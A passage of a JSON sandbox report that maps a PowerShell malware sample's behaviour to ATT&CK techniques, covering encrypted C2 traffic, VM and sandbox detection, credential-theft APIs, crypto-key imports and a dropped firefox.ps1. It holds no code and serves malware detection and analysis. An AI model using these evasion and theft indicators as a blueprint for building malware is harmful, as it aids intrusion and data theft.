Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Tries to GET non-existent files from a web server"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"GETs files from a web server"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically used to import cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to unregister scheduled task using PowerShell command","description":"file/memory contains long string with (Indicator: \"unregister-scheduledtask\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-982","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006444)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006444)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006444)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006444)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2211418210305', 'hResInfo': '2211418211552'}\" (UID: 00000000-00006444)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2211418210305', 'hResInfo': '2211418211584'}\" (UID: 00000000-00006444)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2211418210305', 'hResInfo': '2211418211600'}\" (UID: 00000000-00006444)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2211418210305', 'hResInfo': '2211418211568'}\" (UID: 00000000-00006444)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"powershell.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\hcjefsh2 (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"Aes\"; File: \"hcjefsh2.0.cs\")\n file/memory contains long string with (Indicator: \"AesManaged\"; File: \"hcjefsh2.0.cs\")\n file/memory contains long string with (Indicator: \"CryptoStream\"; File: \"hcjefsh2.0.cs\")\n file/memory contains long string with (Indicator: \"DeriveBytes\"; File: \"hcjefsh2.0.cs\")\n file/memory contains long string with (Indicator: \"Rfc2898DeriveBytes\"; File: \"hcjefsh2.0.cs\")\n Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00006444-00000BC0-2520189498\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00005528.00000000.225591.58960000.00000004.mdmp, 00000000-00005528.00000001.226277.58960000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$25","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$26","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"\"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\8KT95F6TBB8HO4W998TM.temp\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\25c23c65af473f87.customDestinations-ms\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \"CreateDecryptor\"; File: \"hcjefsh2.0.cs\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00004752.00000000.226453.DF8E0000.00000004.mdmp, 00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp\")\n Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004752.00000000.226453.DF8E0000.00000004.mdmp\")\n Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00005528.00000000.225591.58960000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"$27","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","description":"$28","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import cryptographic keys into a CSP","description":"$29","origin":"API Call","mitre_attack_id":"T1486","relevance":1,"id":"api-233","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004752.00000000.226453.DF8E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00005528.00000000.225591.70480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2a","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2b","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006444-00000C2C-2520941873\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006444-00000C2C-2522023241\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00005528.00000000.225591.50780000.00000004.mdmp, 00000000-00005528.00000001.226277.50780000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00005528.00000000.225591.50780000.00000004.mdmp, 00000000-00005528.00000001.226277.50780000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006444-00000C2C-2520941873\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006444-00000C2C-2522023241\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00006444-00000C2C-2519957684\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00006444-00000C2C-2519958209\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006444-00000C2C-2522359077\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006444-00000C2C-2522359101\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005528-00000C2C-2532720020\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00006444-00000C2C-2521715378\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00006444-00000C2C-2521715403\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006444)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006444)\n \"powershell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00006444)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00006444)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006444)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"6444\" - (UID: 00000000-00006444)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"5528\" - (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006444)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005528)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004752)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006112)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006444)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006444)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006444)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00005528)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00005528)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004752)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006444)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005528)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00004752)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006112)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver CA 2N\" (Indicator: \"ver \") in Source: 00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Creates file in AppData directory","description":"\"powershell.exe\" writes to a file \"%APPDATA%\\firefox.ps1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-322","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006444-00000C17-2518962129\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006444-00000C17-2518980615\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006444-00000C17-2518985132\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006444-00000C17-2523428713\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00005528-00000C17-2530076294","origin":"API 